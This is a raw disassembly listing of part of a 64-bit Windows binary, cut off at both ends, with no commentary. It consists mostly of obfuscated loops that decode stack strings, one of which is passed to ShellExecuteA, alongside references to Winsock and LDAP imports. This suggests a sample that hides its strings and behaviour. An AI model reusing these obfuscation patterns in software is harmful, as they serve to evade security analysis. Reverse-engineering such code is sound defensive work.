and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2151
lea ecx, [rdi + 0x4a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 6
jmp 0x1400c214e
movzx ebx, dil
lea edx, [rbx + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
jmp 0x1400c2113
lea edx, [rdi - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400c1773
lea edx, [rdi - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400c1773
lea edx, [rdi + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3e
movzx ebx, dil
jmp 0x1400c20a7
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c1cf6
lea edx, [rdi - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x59
jmp 0x1400c1bb9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1d2f
lea edx, [rdi + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
inc rax
cmp r8, rax
jne 0x1400c1d55
lea edx, [rdi + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x1400c21ad
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1d7d
movzx ebx, dil
lea edx, [rbx + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
jmp 0x1400c2113
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c1dab
lea edx, [rdi - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400c1773
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c1bbc
movzx ebx, dil
lea edx, [rbx + 6]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
jmp 0x1400c20a7
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c1dff
movzx ebx, dil
lea edx, [rbx + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x19
jmp 0x1400c20a7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1e29
lea ecx, [rdi - 0x63]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4b
dec rdi
inc rdi
jmp 0x1400c1773
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c1e4d
lea ecx, [rdi + 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x51
jmp 0x1400c214e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1e74
lea edx, [rdi - 0x6b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x13
add r11b, dl
jmp 0x1400c2184
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c1b73
lea ecx, [rdi + 0x11]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x77
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1ee2
lea ecx, [rdi + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c1f0a
lea edx, [rdi - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2184
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1f33
movzx ebx, dil
lea edx, [rbx + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c2113
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c1f5d
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x1400c1773
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1f8a
lea ecx, [rdi - 0x22]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
inc r9
dec rdi
inc rdi
jmp 0x1400c1773
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c1b2c
movzx ebx, dil
lea edx, [rbx + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c20a7
mov byte [rbp + rdi + 0x2e8], r11b
inc rdi
jmp 0x1400c1773
movzx ebx, dil
lea edx, [rbx - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x2e8]
sub r11b, al
sub r11b, 0x28
add r11b, r10b
jmp 0x1400c2113
lea edx, [rdi - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c2184
lea ecx, [rdi + 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x71
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
lea edx, [rdi - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2b
add r11b, dl
jmp 0x1400c2184
lea ecx, [rdi + 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x79
jmp 0x1400c2151
movzx ebx, dil
lea edx, [rbx + 3]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x15
jmp 0x1400c2113
movzx ebx, dil
lea edx, [rbx + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
inc r11b
add r11b, dl
sub bl, 7
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x31
add r10b, bl
mov byte [rbp + rdi + 0x2e8], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c1773
lea ecx, [rdi - 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x17
inc r9
dec rdi
inc rdi
jmp 0x1400c1773
movzx ebx, dil
lea edx, [rbx + 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x7b
add r11b, dl
add bl, 0x37
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x7f
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x2e8], r10b
jmp 0x1400c214e
lea ecx, [rdi - 0x2b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x2d
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c1773
lea rcx, [rdi + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 0x6f
add r11b, cl
lea edx, [rdi + 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x2e8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x2e8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0xb
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
sub dil, 0x65
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x3d
jmp 0x1400c1770
add dil, 0x5d
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
add r11b, 0x75
jmp 0x1400c1760
lea r8, [rbp + 0x179b5bc]
jmp 0x1400c226f
lea r8, [rbp + 0xd9ac5b]
jmp 0x1400c226f
lea r8, [rbp + 0x2e8]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov qword [rsp + 0x60], 0x9c4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.14005a1a0
mov rcx, rax
call fcn.14005a210
lea rdx, [rbp + 0x20]
mov rcx, qword [0x140220758]
call fcn.140114870
nop
mov rcx, rax
call fcn.1400018f0
mov rdx, rax
lea rcx, [rbp]
call fcn.140003ea0
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.1400b3000
mov rcx, rax
call fcn.1400018f0
lea r8, [rbp + 0xa18]
lea rdx, [0x1401ff3f4]
mov rcx, rax
call fcn.140005e40
mov rbx, qword [rbp + 0xa18]
lea rcx, [rbp + 0xa0]
call fcn.140002490
nop
lea rcx, [rbp + 0x20]
call fcn.140002490
lea r8, [rbx + 0x10]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xa20]
xor edx, edx
mov rcx, qword [0x140220758]
call fcn.1401156c0
mov rax, qword [rbp + 0xa20]
mov qword [0x140220660], rax
lea r8, [rbx + 0xd8]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xa10]
xor edx, edx
mov rcx, qword [0x140220758]
call fcn.1401156c0
mov rax, qword [rbp + 0xa10]
add rax, 0x148
mov qword [0x14021c658], rax
je 0x1400c5184
cmp qword [0x140220660], 0
je 0x1400c5184
mov rcx, qword [0x1402206f0]
call fcn.1400a5090
mov rcx, qword [0x1402206e8]
call fcn.14006b270
mov byte [rbp + 0x2b0], 0xab
mov byte [rbp + 0x2b1], 0x84
mov byte [rbp + 0x2b2], 0xb9
mov byte [rbp + 0x2b3], 0xb8
mov byte [rbp + 0x2b4], 0xa9
mov byte [rbp + 0x2b5], __WSAFDIsSet
mov byte [rbp + 0x2b6], __WSAFDIsSet
mov byte [rbp + 0x2b7], 0xa9
mov byte [rbp + 0x2b8], 0x9d
mov byte [rbp + 0x2b9], __WSAFDIsSet
mov byte [rbp + 0x2ba], __WSAFDIsSet
mov byte [rbp + 0x2bb], 0x9a
mov byte [rbp + 0x2bc], WSAGetLastError
mov byte [rbp + 0x2bd], 0xb9
mov byte [rbp + 0x2be], 0x99
mov byte [rbp + 0x2bf], 0xae
mov byte [rbp + 0x2c0], 0xa4
mov byte [rbp + 0x2c1], 0xa4
mov byte [rbp + 0x2c2], 0xa6
mov byte [rbp + 0x2c3], WSAGetLastError
mov byte [rbp + 0x2c4], 0x7e
mov byte [rbp + 0x2c5], 0x75
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2c6], xmm0
mov qword [rbp + 0x2d6], rax
mov dword [rbp + 0x2de], eax
mov byte [rbp + 0x2e2], al
movabs r14, 0xd6a6f8a3a184c82c
movabs r15, 0x8bdebdc0adab098c
movabs r13, 0xde90cc796aa17934
movabs r12, 0x83f4e9eae48e5884
movzx r11d, byte [rsp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400c2ffd
movzx r10d, byte [rbp + rbx + 0x2b0]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c2ff4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c24fc
lea rcx, [rbx + r14]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x34
jmp 0x1400c2542
je 0x1400c2f80
inc rax
cmp r8, rax
je 0x1400c2ef9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2ec5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2eab
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c2e88
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c2e3c
cmp r9, rbx
ja 0x1400c2feb
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400c256b
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x1400c2592
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2e2f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2e12
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2df3
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c2ae6
nop
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c2ac9
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c2aa1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c2a81
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c2a5f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c2a3d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c2a23
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c2a04
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c29e6
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c29ca
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c25a0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c2fcc
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c2fb1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c278f
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c2770
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c2756
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x1400c2977
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c292c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c28ee
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c28c4
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c25a0
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400c28a8
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400c288a
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400c286b
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400c2850
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400c282f
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400c2813
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400c27f2
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400c27ca
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400c27a9
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400c25a0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x80]
jmp 0x1400c25a0
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
jmp 0x1400c2592
lea edx, [rbx - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2542
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
jmp 0x1400c24c5
lea edx, [rbx - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
add r11b, dl
movzx edi, bl
jmp 0x1400c2e59
lea edx, [rbx - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
dec rbx
inc rbx
jmp 0x1400c24b2
lea edx, [rbx - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
movzx edi, bl
jmp 0x1400c2da7
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
add r8, r9
jmp 0x1400c2ee0
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
jmp 0x1400c2ee0
lea edx, [rbx - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2f12
lea edx, [rbx + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400c2f3c
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c2f98
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x2b0], r11b
inc rbx
jmp 0x1400c24b2
lea ecx, [rbx - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
cmp r9, 0x2a
jb 0x1400c28de
movzx edi, bl
lea edx, [rdi - 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x70]
jmp 0x1400c2e59
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
cmp r8, 0x400
jae 0x1400c2d89
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400c2cae
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2903
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400c2dd7
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c2bd7
lea edx, [rbx + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x1400c2941
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c2f98
lea edx, [rbx + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x1400c2f3c
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2f12
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400c2ee0
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400c2ee0
movzx edi, bl
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2dad
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
dec rbx
inc rbx
jmp 0x1400c24b2
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
movzx edi, bl
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400c2e59
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400c2b0c
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400c2991
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2b45
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x2b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c24b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2b68
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400c2f12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2b8e
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
add r8, r9
jmp 0x1400c2ee0
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c2bba
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c2991
movzx edi, bl
lea edx, [rdi - 8]
mov ecx, Ordinal_30
jmp 0x1400c2e47
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2c02
movzx edi, bl
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2e59
inc rax
cmp r8, rax
jne 0x1400c2c2d
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2c53
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
add r8, r9
jmp 0x1400c2ee0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2c76
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
jmp 0x1400c2f12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2941
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
movzx eax, byte [rbp + rbx + 0x2b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c24b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2ce3
lea ecx, [rbx + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rbx + 0x2b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c24b2
inc rax
cmp r8, rax
jne 0x1400c2d0a
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2f12
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2d2e
movzx edi, bl
lea edx, [rdi + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x18
jmp 0x1400c2daa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c2d5b
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x1400c24b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c2903
movzx edi, bl
lea edx, [rdi + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x1400c2e59
movzx edi, bl
lea edx, [rdi - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0x2b0]
sub r11b, al
sub r11b, 0x20
add r11b, r10b
add r11b, dl
add dil, 0xc
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, dil
add r10b, r11b
mov byte [rbp + rbx + 0x2b0], r10b
add r8, r9
jmp 0x1400c2ee0
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c2f12
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2ee0
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
add r8, r9
jmp 0x1400c2ee0
movzx edi, bl
lea edx, [rdi - 0xc]
mov ecx, Ordinal_46
jmp 0x1400c2e47
movzx edi, bl
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
sub dil, 0x4c
movzx eax, dil
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
mov byte [rbp + rbx + 0x2b0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
lea ecx, [rbx - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
inc r9
dec rbx
inc rbx
jmp 0x1400c24b2
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
add r8, r9
jmp 0x1400c2ee0
lea rdx, [rbx + r15]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c24b2
lea rax, [rbx + r13]
movzx r10d, dil
and dil, al
add dil, dil
sub al, dil
lea r11d, [r10 + rax]
sub r11b, 0x6c
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2b0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x2b0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c24b2
lea rdx, [rbx + r12]
movzx eax, dil
and al, dl
